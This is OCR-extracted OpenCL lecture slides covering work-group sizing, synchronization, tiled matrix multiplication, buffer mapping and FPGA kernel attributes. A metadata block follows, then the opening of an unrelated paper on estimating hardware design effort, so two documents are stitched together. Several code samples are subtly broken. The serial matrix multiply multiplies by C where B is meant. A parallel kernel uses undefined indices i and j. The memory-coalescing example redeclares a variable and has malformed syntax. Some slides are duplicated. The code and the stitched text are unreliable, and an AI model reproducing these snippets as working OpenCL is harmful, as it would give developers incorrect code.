• Most of the source code is almost the same in every OpenCL application
More on work-items and work-groups sizing
- Do note: the work-groups must span exactly the global index space on every dimension.
- How to manage a problem with a size that is not divisible by a predefined work-group size?
- E.g. `DATA_SIZE=109` and `workgroupsize=16`
More on work-items and work-groups sizing
- A parameter specifying the problem size is added to the kernel
```c
__kernel void dp_mult(__global float* a,
__global float* b, __global float* c,
int N)
{
int i = get_global_id(0);
if(i<N)
c[i] = a[i] * b[i];
}
```
More on work-items and work-groups sizing
• The global work size is round up to the first multiple of the work-group size greater than the problem size
```c
size_t local_work_size[1] = { 16 };
size_t global_work_size[1] =
{ NUM_DATA +16 - NUM_DATA % 16 };
```
• Therefore the kernels with id>=NUM_DATA will not compute any multiplication
• **NOTE**: OpenCL 2.0 has solved this issue by defining a remainder work-groups
– They are defined on each dimension on the upmost boundaries
– Global work size may have any value
Command synchronization
- Explicit synchronization management has to be performed by the programmer to assess the desired precedencies in the kernel execution when using
- an out-of-order command queue
- different queues
Command synchronization
- **clEnqueueBarrier()** sets a barrier on the queue specified as parameter
- Commands after the barrier start executing only after all commands before the barrier have completed
- **clFinish()** blocks the execution of the host program until all commands in the queue specified as parameters are completed
- Example:
```c
//... send commands
clEnqueueBarrier(queue);
//... send commands
clFinish(queue);
```
Command synchronization
• Events
– Commands return events and obey event waitlists
– A cl_eventobject can be associated with each command (last three parameters)
clEnqueue*(..., num_events_in_waitlist, *event_waitlist, *event);
– clEnqueueReadBuffer, clEnqueueReadBuffer can be optionally blocking
Any commands (or clWaitForEvents()) can wait on events before executing
Event object can be queried to track execution status of associated command and get profiling information
Command synchronization
• In conclusions
– Synchronization has to be explicitly managed by the programmer
– Coherence of data at synchronization points implicitly managed by the runtime layer
• Synchronization using events is possible only in the same context
• The only way to synchronize and share data between different contexts is to act in the host application by explicitly copying data between memory objects
An example
- Let’s consider as example the multiplication of two matrixes $A(M,K)$ and $B(K,N)$ producing $C(M,N)$
$$C[i,j] = \text{sum} (A[m,k]*B[k,n], k = 0, 1, \ldots, K)$$
An example
• Serial solution:
```c
void SerialMultiply (float A[P][Q], float B[Q][R],
float C[P][R])
{
for (int i = 0; i < P; i++)
for (int j = 0; j < R; j++){
C[i][j] = 0;
for (int k = 0; k < Q; k++)
C[i][j] += A[i][k] * C[k][j];
}
}
```
Just for sake of simplicity dimension management is performed by means of constant macros
An example
• Parallel solution:
```c
__kernel void parMultiply1 (
__global float *A, __global float *B,
__global float *C, int K)
{
// Vector element index
const int m = get_global_id(0);
const int n = get_global_id(1);
const int M = get_global_size(0);
C[i + M * j] = 0;
for (int k = 0; k < K; k++)
C[i+M*j] += A[i+M*k] * B[k+M*j];
}
```
An example
- Parallel solution using local memory:
- Idea: split the matrix multiplication problem into submatrixes that fit in the local workgroup size
- We can compute each 3x3 submatrix of the answer as the sum of products of the first submatrixes, as if the submatrixes were elements of a matrix
An example
- Parallel solution using local memory:
```c
__kernel void parMultiply2 (__global float *A, __global float *B,
__global float *C, int K)
{
const int row = get_local_id(0); // Local row ID (max: TS)
const int col = get_local_id(1); // Local col ID (max: TS)
const int globalRow = TS*get_group_id(0) + row; // Row ID of C (0..M)
const int globalCol = TS*get_group_id(1) + col; // Col ID of C (0..N)
const int M = get_global_size(0);
const int N = get_global_size(1);
// Local memory to fit a tile of TS*TS elements of A and B
__local float Asub[TS][TS];
__local float Bsub[TS][TS];
```
An example
- Parallel solution using local memory: (continue…)
```c
// Initialize the accumulation register
float acc = 0.0f;
// Loop over all tiles
const int numTiles = K/TS; //K must be a multiple of TS
for (int t=0; t<numTiles; t++) {
// Load one tile of A and B into local memory
const int tiledRow = TS*t + row;
const int tiledCol = TS*t + col;
Asub[col][row] = A[tiledCol*M + globalRow];
Bsub[col][row] = B[globalCol*K + tiledRow];
// Synchronize to make sure the tile is loaded
barrier(CLK_LOCAL_MEM_FENCE);
}
```
An example
- Parallel solution using local memory: (continue…)
```c
// Perform the computation for a single tile
for (int k=0; k<TS; k++) {
acc += Asub[k][row] * Bsub[col][k];
}
// Synchronize before loading the next tile
barrier(CLK_LOCAL_MEM_FENCE);
}
// Store the final result in C
C[globalCol*M + globalRow] = acc;
```
Dissecting OpenCL execution
• An example showing buffer creation and initialization
```c
cl_int err;
int a[16];
for (int i = 0; i < SIZE; i++) {
a[i] = i;
}
// Create the buffer
cl_mem buffer = clCreateBuffer(context, CL_MEM_READ_WRITE,
SIZE*sizeof(int), a, &err);
if( err != CL_SUCCESS ) {// Handle error as necessary }
// Initialize the buffer
err = clEnqueueWriteBuffer (
queue,
buffer, // destination
CL_TRUE, // blocking write
0, // don’t offset into buffer
SIZE*sizeof(int), // number of bytes to write
a, // host data
0, NULL, // don’t wait on any events
NULL); // don’t generate an event
```
Dissecting OpenCL execution
- We can create and initialize a buffer, and use it in a kernel, without explicitly writing the buffer.
```c
cl_mem buf = clCreateBuffer(...,
CL_MEM_COPY_HOST_PTR,data,...);
clSetKernelArg(..., &buf);
clEnqueueNDRangeKernel(gpuQueue,...);
```
a) Creating and initializing a buffer in host memory (initialization is done using CL_MEM_COPY_HOST_PTR).
b) Implicit data transfer from the host to device prior to kernel execution. The runtime could also choose to have the device access the buffer directly from host memory.
Dissecting OpenCL execution
- As an alternative, a runtime may decide to create the buffer directly in device memory
```
cl_mem buf = clCreateBuffer(...);
```
a) Creating a buffer in device memory (at the discretion of the runtime)
```
clEnqueueWriteBuffer(...,buf,...,data,...);
```
b) Copying host data to the buffer directly in GPU memory
Dissecting OpenCL execution
- The complimentary call to writing a buffer, reads the buffer back to host memory
- The following diagram assumes that the buffer data had been moved to the device by the runtime
```c
clEnqueueReadBuffer(..., buf,..., data,...);
```
![Diagram showing CPU Memory and GPU Memory, with DMA and Context]
c) Reading the output data from the buffer back to host memory (continued from the previous slide)
Dissecting OpenCL execution
• OpenCL provides API calls to map and unmap memory objects from the host’s memory space
• When a memory object is mapped, a pointer valid on the host will be returned
– The parameters to the map function should look similar to reading/writing a buffer
```c
void * clEnqueueMapBuffer (cl_command_queue command_queue,
cl_mem buffer,
cl_bool blocking_map,
cl_map_flags map_flags,
size_t offset,
size_t size,
cl_uint num_events_in_wait_list,
const cl_event *event_wait_list,
cl_event *event,
cl_int *errcode_ret)
```
```c
cl_int clEnqueueUnmapMemObject (cl_command_queue command_queue,
cl_mem memobj,
void *mapped_ptr,
cl_uint num_events_in_wait_list,
const cl_event *event_wait_list,
cl_event *event)
```
Dissecting OpenCL execution
• The example below shows one possible scenario for the map and unmap functions
a) Create an uninitialized buffer in device memory
cl_mem buf = clCreateBuffer(…);
b) Map the buffer into the host’s address space. Access the buffer via a host pointer.
void *mappedBuf = clEnqueueMapBuffer(..., buf, ...);
memcpy(data, mappedBuf, ...);
c) Unmap the buffer from the host’s address space
clEnqueueUnmapMemObject(..., buf, mappedBuf, ...);
Dissecting OpenCL execution
- Execution of a kernel on a (AMD) CPU
- Each CPU thread executes in sequence a workgroup (for performance reasons)
- One thread per core
- Do note that the explicit usage of vector data types and operations maps on CPU Streaming SIMD Extensions (SSE) and Advanced Vector Extension (AVX) technologies
- Execution on GPU has been already discussed …
Dissecting OpenCL execution
- Execution of a kernel on an (AMD) CPU
- Each CPU thread executes in sequence a workgroup
- Do note that the explicit usage of vector data types and operations maps on CPU Streaming SIMD Extensions (SSE) and Advanced Vector Extension (AVX) technologies
- Execution on GPU has been already discussed during the last class…
Dissecting OpenCL execution
- Memory mapping on GPU
- Global Memory
- Maps to cache hierarchy
- GDDR5 video main memory
- Constant Memory
- Maps to scalar unit reads
- Possibly on texture or constant memory (NVIDIA)
- Local Memory
- Maps to the LDS
- Shared data between work-items of a work group
- High Bandwidth access from SIMIDs
- Private memory
- Maps to vector registers
Dissecting OpenCL execution
- Memory mapping on GPU
- Global Memory
- Maps to cache hierarchy
- GDDR5 video main memory
- Constant Memory
- Maps to scalar unit reads
- Possibly on texture or constant memory (NVIDIA)
- Local Memory
- Maps to the LDS
- Shared data between work-items of a work group
- High Bandwidth access from SIMIDs
- Private memory
- Maps to vector registers
Dissecting OpenCL execution
• Memory mapping on CPU
– Everything maps on the cache memory
Dissecting OpenCL execution
- On a GPU, within a warp/wavefront, control-flow should not diverge among work items
- Otherwise, a so-called branch divergence occurs
- GPU cannot follow two instruction streams at the same time within warp
- Divergence between warps/wavefronts is ok!
To avoid branch divergence, conditions of if-statements must be re-worked in such a way that all work items within a warp/wavefront take the same branch.
Dissecting OpenCL execution
- Simultaneous accesses of the memory to work-items of the same work-groups should be to subsequent addresses to exploit memory coalescence
```c
__kernel void vector(__global float *input, int a, int b, int c) {
float4 a = input[get_global_id(0)*4];
input[get_global_id(0)*4+a],
input[get_global_id(0)*4+b],
input[get_global_id(0)*4+c])
...
}
```
OpenCL on FPGA
• OpenCL can also target FPGA devices!
• CPU/GPU scenario:
– Architecture is fixed
– OpenCL program is designed to exploit HW peculiarities
• FPGA scenario:
– Architecture is not configurable
– OpenCL program is designed to define the overall optimized architecture of the accelerator!
• Necessity to define additional parameters to customize architectural design
• OpenCL guarantees the functional portability but not the performance portability
– Coding style does matter especially when targeting FPGAs
OpenCL on FPGA
- Motivations (from Xilinx whitepaper)
- OpenCL allows a easier programmability of FPGAs
- FPGAs provides higher performance/Watt than CPU/GPU
OpenCL on FPGA
- Xilinx provides SDAccel tool to support OpenCL programming on FPGA
- It is based on Vivado HLS
OpenCL on FPGA
• Target architecture
OpenCL on FPGA
- Architecture of the SDAccel design
OpenCL on FPGA
- OpenCL memory organization
- Global memory is implemented both in the off-chip memory and in the BRAMs
- Local and private memories are implemented both in BRAMs and registers
OpenCL on FPGA
- SDAccel design flow
OpenCL on FPGA
- The kernel has to be synthesized offline
- The bitstream is then configured at runtime when creating a program
OpenCL on FPGA
• The tool requires to specify how many compute units to instantiate
• The configuration of the single compute unit is performed by using specific attributes in the kernel code
OpenCL on FPGA
• Specifying the workgroup size to be used to implement the compute unit
```c
__kernel __attribute__((reqd_work_group_size(4,4,1)))
void mmult32(global int *A, global int *B, global int *C) {
...
}
```
• Unroll loops
```c
kernel void
vmult(local int* a, local int* b, local int* c) {
int tid = get_global_id(0);
__attribute__((opencl_unroll_hint(2)))
for (int i=0; i<4; i++) {
int idx = tid*4 + i;
a[idx] = b[idx] * c[idx];
}
```
OpenCL on FPGA
- Pipeline loops
```c
kernel void foo(...) {
...
__attribute__((xcl_pipeline_loop))
for (int i=0; i<3; i++) {
int idx = get_global_id(0)*3 + i;
op_Read(idx);
op_Compute(idx);
op_Write(idx);
}
...
}```
OpenCL on FPGA
• Pipeline work items
```c
kernel
__attribute__((reqd_work_group_size(3,1,1)))
void foo(...)
{
...
__attribute__((xcl_pipeline_workitems)) {
int tid = get_global_id(0);
op_Read(tid);
op_Compute(tid);
op_Write(tid);
}
...
}
```
OpenCL on FPGA
- Memory access needs to be configured as well
- E.g.: usage of burst transmissions
```c
__attribute__((reqd_work_group_size(1, 1, 1)))
kernel void smithwaterman (global int *matrix, global int *maxIndex, global const char *s1, global const char *s2) {
short north = 0;
short west = 0;
short northwest = 0;
int maxValue = 0;
int localMaxIndex = 0;
int gid = get_global_id(0);
// Local memories using BlockRAMs
local char localS1[N];
local char localS2[N];
local int localMatrix[N*N];
async_work_group_copy(localS1, s1, N, 0);
async_work_group_copy(localS2, s2, N, 0);
async_work_group_copy(localMatrix, matrix, N*N, 0);
```
Conclusions
• OpenCL – Open Computing Language
– Open, royalty-free standard
– For cross-platform, parallel programming of modern processors
– An Apple initiative
– Approved by NVIDIA, Intel, AMD, IBM, ...
– Specified by the Khronos group
• Intended for accessing heterogeneous computational resources
– CPUs (Intel, AMD, IBM Cell BE, ...)
– GPUs (Nvidia GTX & Tesla/Fermi, AMD/ATI 58xx, ...)
– HW accelerators and FPGAs (Xilinx)
– Processors with integrated graphics chip (Sandy Bridge, Llano)
• Difference to CUDA
– Code hardware agnostic, portable
Conclusions
• Opportunities offered by OpenCL
– Program with a single language an heterogeneous processing system
– Decide at run-time where to execute each kernel according to the current working conditions
References
• https://www.khronos.org/
• https://developer.nvidia.com/opencl
• http://developer.amd.com/tools-and-sdks/opencl-zone/
• http://elc.yonsei.ac.kr/courses/csi2110/PP-L07-OpenCL.pdf
• https://www.xilinx.com/products/design-tools/software-zone/sdaccel.html#documentation
• David Kaeli, Perhaad Mistry, Dana Schaa, Dong Ping Zhang, Heterogeneous Computing with OpenCL 2.0, Morgan Kaufmann, 2015
• Some OpenCL source code examples:
– http://booksite.elsevier.com/9780128014141/online_materials.php
– http://www.heterogeneouscompute.org/?page_id=7
|
{"Source-Url": "http://home.deib.polimi.it/santambr/dida/phd/fpga/2016/doc/PDF/OpenCL.pdf", "len_cl100k_base": 10308, "olmocr-version": "0.1.50", "pdf-total-pages": 123, "total-fallback-pages": 0, "total-input-tokens": 172920, "total-output-tokens": 15046, "length": "2e13", "weborganizer": {"__label__adult": 0.0005855560302734375, "__label__art_design": 0.0008196830749511719, "__label__crime_law": 0.0005002021789550781, "__label__education_jobs": 0.0007386207580566406, "__label__entertainment": 0.0001175999641418457, "__label__fashion_beauty": 0.0002467632293701172, "__label__finance_business": 0.00034999847412109375, "__label__food_dining": 0.0004296302795410156, "__label__games": 0.0013704299926757812, "__label__hardware": 0.0234375, "__label__health": 0.0006823539733886719, "__label__history": 0.0004076957702636719, "__label__home_hobbies": 0.0002282857894897461, "__label__industrial": 0.001483917236328125, "__label__literature": 0.0002092123031616211, "__label__politics": 0.0003314018249511719, "__label__religion": 0.0010118484497070312, "__label__science_tech": 0.1636962890625, "__label__social_life": 7.009506225585938e-05, "__label__software": 0.01142120361328125, "__label__software_dev": 0.7900390625, "__label__sports_fitness": 0.000507354736328125, "__label__transportation": 0.0009899139404296875, "__label__travel": 0.00029730796813964844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43020, 0.00552]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43020, 0.70908]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43020, 0.77558]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 331, false], [331, 1164, null], [1164, 1341, null], [1341, 1469, null], [1469, 1492, null], [1492, 1756, null], [1756, 2028, null], [2028, 2383, null], [2383, 2773, null], [2773, 3255, null], [3255, 3528, null], [3528, 3836, null], [3836, 4381, null], [4381, 4786, null], [4786, 5267, null], [5267, 5819, null], [5819, 6003, null], [6003, 6289, null], [6289, 6637, null], [6637, 7050, null], [7050, 7267, null], [7267, 7959, null], [7959, 8530, null], [8530, 8862, null], [8862, 9241, null], [9241, 9319, null], [9319, 9796, null], [9796, 10262, null], [10262, 10595, null], [10595, 11297, null], [11297, 11371, null], [11371, 11440, null], [11440, 11539, null], [11539, 11673, null], [11673, 11852, null], [11852, 12134, null], [12134, 12295, null], [12295, 12421, null], [12421, 12537, null], [12537, 12651, null], [12651, 12737, null], [12737, 12857, null], [12857, 13071, null], [13071, 13316, null], [13316, 13762, null], [13762, 13844, null], [13844, 14060, null], [14060, 14469, null], [14469, 14938, null], [14938, 15184, null], [15184, 15961, null], [15961, 16476, null], [16476, 16677, null], [16677, 16762, null], [16762, 17205, null], [17205, 17481, null], [17481, 17941, null], [17941, 18422, null], [18422, 18640, null], [18640, 19097, null], [19097, 19608, null], [19608, 20024, null], [20024, 20284, null], [20284, 20867, null], [20867, 21357, null], [21357, 21883, null], [21883, 22291, null], [22291, 22867, null], [22867, 23136, null], [23136, 23540, null], [23540, 24069, null], [24069, 24651, null], [24651, 25177, null], [25177, 25555, null], [25555, 26199, null], [26199, 26502, null], [26502, 26789, null], [26789, 27099, null], [27099, 27369, null], [27369, 27689, null], [27689, 28220, null], [28220, 28446, null], [28446, 28894, null], [28894, 29391, null], [29391, 29814, null], [29814, 29992, null], [29992, 30388, null], [30388, 30785, null], [30785, 31090, null], [31090, 31724, null], [31724, 32276, null], [32276, 32607, null], [32607, 33258, null], [33258, 33813, null], [33813, 34160, null], [34160, 34594, null], [34594, 35386, null], [35386, 35869, null], [35869, 36253, null], [36253, 36609, null], [36609, 37028, null], [37028, 37447, null], [37447, 37540, null], [37540, 37827, null], [37827, 37981, null], [37981, 38378, null], [38378, 38917, null], [38917, 39080, null], [39080, 39195, null], [39195, 39233, null], [39233, 39286, null], [39286, 39481, null], [39481, 39519, null], [39519, 39648, null], [39648, 39841, null], [39841, 40326, null], [40326, 40570, null], [40570, 40862, null], [40862, 41557, null], [41557, 42131, null], [42131, 42344, null], [42344, 43020, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 331, true], [331, 1164, null], [1164, 1341, null], [1341, 1469, null], [1469, 1492, null], [1492, 1756, null], [1756, 2028, null], [2028, 2383, null], [2383, 2773, null], [2773, 3255, null], [3255, 3528, null], [3528, 3836, null], [3836, 4381, null], [4381, 4786, null], [4786, 5267, null], [5267, 5819, null], [5819, 6003, null], [6003, 6289, null], [6289, 6637, null], [6637, 7050, null], [7050, 7267, null], [7267, 7959, null], [7959, 8530, null], [8530, 8862, null], [8862, 9241, null], [9241, 9319, null], [9319, 9796, null], [9796, 10262, null], [10262, 10595, null], [10595, 11297, null], [11297, 11371, null], [11371, 11440, null], [11440, 11539, null], [11539, 11673, null], [11673, 11852, null], [11852, 12134, null], [12134, 12295, null], [12295, 12421, null], [12421, 12537, null], [12537, 12651, null], [12651, 12737, null], [12737, 12857, null], [12857, 13071, null], [13071, 13316, null], [13316, 13762, null], [13762, 13844, null], [13844, 14060, null], [14060, 14469, null], [14469, 14938, null], [14938, 15184, null], [15184, 15961, null], [15961, 16476, null], [16476, 16677, null], [16677, 16762, null], [16762, 17205, null], [17205, 17481, null], [17481, 17941, null], [17941, 18422, null], [18422, 18640, null], [18640, 19097, null], [19097, 19608, null], [19608, 20024, null], [20024, 20284, null], [20284, 20867, null], [20867, 21357, null], [21357, 21883, null], [21883, 22291, null], [22291, 22867, null], [22867, 23136, null], [23136, 23540, null], [23540, 24069, null], [24069, 24651, null], [24651, 25177, null], [25177, 25555, null], [25555, 26199, null], [26199, 26502, null], [26502, 26789, null], [26789, 27099, null], [27099, 27369, null], [27369, 27689, null], [27689, 28220, null], [28220, 28446, null], [28446, 28894, null], [28894, 29391, null], [29391, 29814, null], [29814, 29992, null], [29992, 30388, null], [30388, 30785, null], [30785, 31090, null], [31090, 31724, null], [31724, 32276, null], [32276, 32607, null], [32607, 33258, null], [33258, 33813, null], [33813, 34160, null], [34160, 34594, null], [34594, 35386, null], [35386, 35869, null], [35869, 36253, null], [36253, 36609, null], [36609, 37028, null], [37028, 37447, null], [37447, 37540, null], [37540, 37827, null], [37827, 37981, null], [37981, 38378, null], [38378, 38917, null], [38917, 39080, null], [39080, 39195, null], [39195, 39233, null], [39233, 39286, null], [39286, 39481, null], [39481, 39519, null], [39519, 39648, null], [39648, 39841, null], [39841, 40326, null], [40326, 40570, null], [40570, 40862, null], [40862, 41557, null], [41557, 42131, null], [42131, 42344, null], [42344, 43020, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43020, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43020, null]], "pdf_page_numbers": [[0, 0, 1], [0, 331, 2], [331, 1164, 3], [1164, 1341, 4], [1341, 1469, 5], [1469, 1492, 6], [1492, 1756, 7], [1756, 2028, 8], [2028, 2383, 9], [2383, 2773, 10], [2773, 3255, 11], [3255, 3528, 12], [3528, 3836, 13], [3836, 4381, 14], [4381, 4786, 15], [4786, 5267, 16], [5267, 5819, 17], [5819, 6003, 18], [6003, 6289, 19], [6289, 6637, 20], [6637, 7050, 21], [7050, 7267, 22], [7267, 7959, 23], [7959, 8530, 24], [8530, 8862, 25], [8862, 9241, 26], [9241, 9319, 27], [9319, 9796, 28], [9796, 10262, 29], [10262, 10595, 30], [10595, 11297, 31], [11297, 11371, 32], [11371, 11440, 33], [11440, 11539, 34], [11539, 11673, 35], [11673, 11852, 36], [11852, 12134, 37], [12134, 12295, 38], [12295, 12421, 39], [12421, 12537, 40], [12537, 12651, 41], [12651, 12737, 42], [12737, 12857, 43], [12857, 13071, 44], [13071, 13316, 45], [13316, 13762, 46], [13762, 13844, 47], [13844, 14060, 48], [14060, 14469, 49], [14469, 14938, 50], [14938, 15184, 51], [15184, 15961, 52], [15961, 16476, 53], [16476, 16677, 54], [16677, 16762, 55], [16762, 17205, 56], [17205, 17481, 57], [17481, 17941, 58], [17941, 18422, 59], [18422, 18640, 60], [18640, 19097, 61], [19097, 19608, 62], [19608, 20024, 63], [20024, 20284, 64], [20284, 20867, 65], [20867, 21357, 66], [21357, 21883, 67], [21883, 22291, 68], [22291, 22867, 69], [22867, 23136, 70], [23136, 23540, 71], [23540, 24069, 72], [24069, 24651, 73], [24651, 25177, 74], [25177, 25555, 75], [25555, 26199, 76], [26199, 26502, 77], [26502, 26789, 78], [26789, 27099, 79], [27099, 27369, 80], [27369, 27689, 81], [27689, 28220, 82], [28220, 28446, 83], [28446, 28894, 84], [28894, 29391, 85], [29391, 29814, 86], [29814, 29992, 87], [29992, 30388, 88], [30388, 30785, 89], [30785, 31090, 90], [31090, 31724, 91], [31724, 32276, 92], [32276, 32607, 93], [32607, 33258, 94], [33258, 33813, 95], [33813, 34160, 96], [34160, 34594, 97], [34594, 35386, 98], [35386, 35869, 99], [35869, 36253, 100], [36253, 36609, 101], [36609, 37028, 102], [37028, 37447, 103], [37447, 37540, 104], [37540, 37827, 105], [37827, 37981, 106], [37981, 38378, 107], [38378, 38917, 108], [38917, 39080, 109], [39080, 39195, 110], [39195, 39233, 111], [39233, 39286, 112], [39286, 39481, 113], [39481, 39519, 114], [39519, 39648, 115], [39648, 39841, 116], [39841, 40326, 117], [40326, 40570, 118], [40570, 40862, 119], [40862, 41557, 120], [41557, 42131, 121], [42131, 42344, 122], [42344, 43020, 123]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43020, 0.0]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
2a33fe9c2d7f4342fc1aabfdb35eee5933d8763d
|
A Priori Implementation Effort Estimation for HW Design Based on Independent-Path Analysis
Abildgren, Rasmus; Diguet, Jean-Philippe; Bomel, Pierre; Gogniat, Guy; Koch, Peter; Le Moullec, Yannick
Published in:
Eurasip Journal on Embedded Systems
DOI (link to publication from Publisher):
10.1155/2008/280347
Publication date:
2008
Document Version
Publisher's PDF, also known as Version of record
Link to publication from Aalborg University
Citation for published version (APA):
General rights
Copyright and moral rights for the publications made accessible in the public portal are retained by the authors and/or other copyright owners and it is a condition of accessing publications that users recognise and abide by the legal requirements associated with these rights.
? Users may download and print one copy of any publication from the public portal for the purpose of private study or research.
? You may not further distribute the material or use it for any profit-making activity or commercial gain
? You may freely distribute the URL identifying the publication in the public portal?
Take down policy
If you believe that this document breaches copyright please contact us at vbn@aub.aau.dk providing details, and we will remove access to the work immediately and investigate your claim.
Research Article
A Priori Implementation Effort Estimation for Hardware Design Based on Independent Path Analysis
Rasmus Abildgren, Jean-Philippe Diguet, Pierre Bomel, Guy Gogniat, Peter Koch, and Yannick Le Moullec
1 CISS, Aalborg University, Selma Lagerlöfs Vej 300, 9220 Aalborg East, Denmark
2 Lab-STICC (UMR CNRS 3192), Université de Bretagne Sud, Centre de recherche, BP 92116, 56321 Lorient Cedex, France
3 CSDR, Aalborg University, Fredriks Bajers Vej 7, 9220 Aalborg East, Denmark
Correspondence should be addressed to Rasmus Abildgren, rab@es.aau.dk
Received 15 March 2008; Revised 30 June 2008; Accepted 18 September 2008
Recommended by Markus Rupp
This paper presents a metric-based approach for estimating the hardware implementation effort (in terms of time) for an application in relation to the number of linear-independent paths of its algorithms. We exploit the relation between the number of edges and linear-independent paths in an algorithm and the corresponding implementation effort. We propose an adaptation of the concept of cyclomatic complexity, complemented with a correction function to take designers’ learning curve and experience into account. Our experimental results, composed of a training and a validation phase, show that with the proposed approach it is possible to estimate the hardware implementation effort. This approach, part of our light design space exploration concept, is implemented in our framework “Design-Trotter” and offers a new type of tool that can help designers and managers to reduce the time-to-market factor by better estimating the required implementation effort.
Copyright © 2008 Rasmus Abildgren et al. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
1. INTRODUCTION
1.1. Discussion of the problem
Companies developing embedded systems based on high-end technology in areas such as telecommunication, defence, consumer products, healthcare equipment are evolving in an extremely competitive globalised market. In order to preserve their competitiveness, they have to deal with several contradicting objectives: on one hand, they have to face the ever-increasing need for shorter time-to-market; and on the other hand, they have to develop and produce low-cost, high-quality, and innovative products.
This raises major challenges for most companies, especially for small- and medium-sized enterprises (SMEs). Although SMEs are under pressure due to the above-mentioned factors, they are either not applying the latest design methodologies or cannot afford the modern electronic system level (ESL) design tools. By limiting themselves to traditional design methodologies, SMEs make themselves more vulnerable to unforeseen problems in the development process, making the time-to-market factor one of the most critical challenges they have to deal with. A survey released at the Embedded Systems Conference (ESC 2006) [1] indicated that more than 50% of embedded design projects are running behind schedule (i.e., 25% are 1-2 months late, 18% 3-6 months). In the 2008 version of the survey [2], it is again shown that meeting the schedule is the greatest concern for design teams.
Moreover, a workshop [3] held for Danish SMEs working in the domain of embedded systems clearly indicates that there is a need for changing and improving their design trajectories in order to stay in front of the global market. More specifically, this calls for setting modern design, that is, hardware/software (HW/SW) codesign, and ESL design into actual practice in SMEs, so that they can reduce their time-to-market factor and keep up with their competitors by being more efficient in producing embedded systems.
Although HW/SW codesign and ESL design tools (both commercial and academic) have been available for several years, there are several barriers that, so far, have prevented their wide adoption such as the following:
(i) difficulty in transferring the methods and tools developed by academia into industry, because they are mostly developed for experimenting, validating, and proving new concepts rather than for being used in companies; therefore adapting and transferring these methods and tools require additional and tedious efforts, delaying their adoption;
(ii) financial cost in terms of tool licenses, training, and so forth that many SMEs cannot afford, since the cost of a complete commercial tool chain can exceed in excess of 150 k€ per year;
(iii) training cost and knowledge management issues, meaning that switching to a new design trajectory also involves the risk of loosing momentum, that is, loosing time and efficiency because of the training needed to master the new methods and tools;
(iv) many modern design flows are not mature enough to generate efficient and automatic real-time code, and combined with the previous item, cause potential adopters to wait until it is safe to switch.
Considerable research has been undertaken to estimate implementation factors such as area, power, and speed that are subsequently used in HW/SW partitioning tools with different focuses related to granularity, architecture model, communication topology, and so on. All of these research projects do not include the man-power cost which is the most critical one for many companies, and especially SMEs. This work takes its outset in a research framework facilitating the HW/SW partitioning step for SMEs. It focuses on a light design space exploration approach called “DSE-light” that combines the advances in terms of design methodologies found in academia and the ease of integration required by SMEs, that is, lowering the above-mentioned barriers.
The contribution presented in this paper is the development of a method for estimating the man-power cost (i.e., development time) for implementing hardware components and the integration of this method into our framework, so that HW/SW partitioning decisions can be wiser. A method that used iteratively and systematic will form the engine for precise development schedules. The following subsections present the rationale for this work and the idea enabling this contribution.
### 1.2. Parameters that influence the implementation effort
A common problem in both SMEs and larger companies is that of estimating the amount of time required to map and implement an algorithm onto an architecture given parameters such as [4, 5] the following:
(i) manpower, that is, the available development team(s) and their size(s),
(ii) quality of the social interactions between the team members and the teams,
(iii) experience of the developers (e.g., years of experience, previously developed projects, novelty of the current project, etc.),
(iv) skills of the developers, that is, their ability to solve problems (this is not the same as experience, which only reflects how often one has tried before),
(v) availability of suitable and efficient tools and how easy they are to learn and use,
(vi) availability of SW/HW IP code/cores,
(vii) involvement of the designers, that is, are they working on other projects simultaneously?
(viii) design constraints, that is, real-time requirements,
This work addresses the issue of adding man-power cost parameter into the cost function and thereby guiding the HW/SW partitioning. More specifically we concentrate on the mapping process, that is, the process of mapping a given algorithm onto a given architecture and the implementation effort (i.e., time) related to the complexity of that algorithm. Our framework also addresses other issues of HW/SW partitioning, for example, [6].
### 1.3. Idea
In order to understand what makes an algorithm difficult to implement, five semistructured interviews have been conducted with engineers (hardware developers) with very little to 20 years of experience. (Semistructured interview is an information-gathering method of qualitative research. It is also an adequate tool to capture how a person thinks of a particular domain [7].)
From the interviews, it was deduced that several parameters influence on the hardware design difficulty. The hardware developers stated that available knowledge about worst cases, dependencies between variables, and the completeness of the design description of the entire system including all communications are important for the design time. However, according to them, the major parameter influencing a hardware design is the number of connections and signals between the internal components. This should be viewed in the way in which every time a signal enters a component, it means that the component needs to act on it. More signals bring more parameters into the component and that very often leads to an increased complexity.
Based on the interviews, we form our hypothesis, which is that a strong relation exists between what renders an algorithm complex to implement and the number of components as well as the number of signals/paths in the algorithm.
To ensure that not only the number of paths are counted but also that a high number of components is present, we choose to only measure the number of linear-independent paths. Furthermore, this insures that components occuring several times during the execution are counted only once, which better reflects the actual implementation efforts.
The remainder of the paper is organised as follows: Section 2 gives an overview of the state-of-the-art methods for estimating the implementation effort both for software and hardware designs and indicates the need for further work for hardware design. In Section 3 a new metric for estimating the development time is defined and combined with our
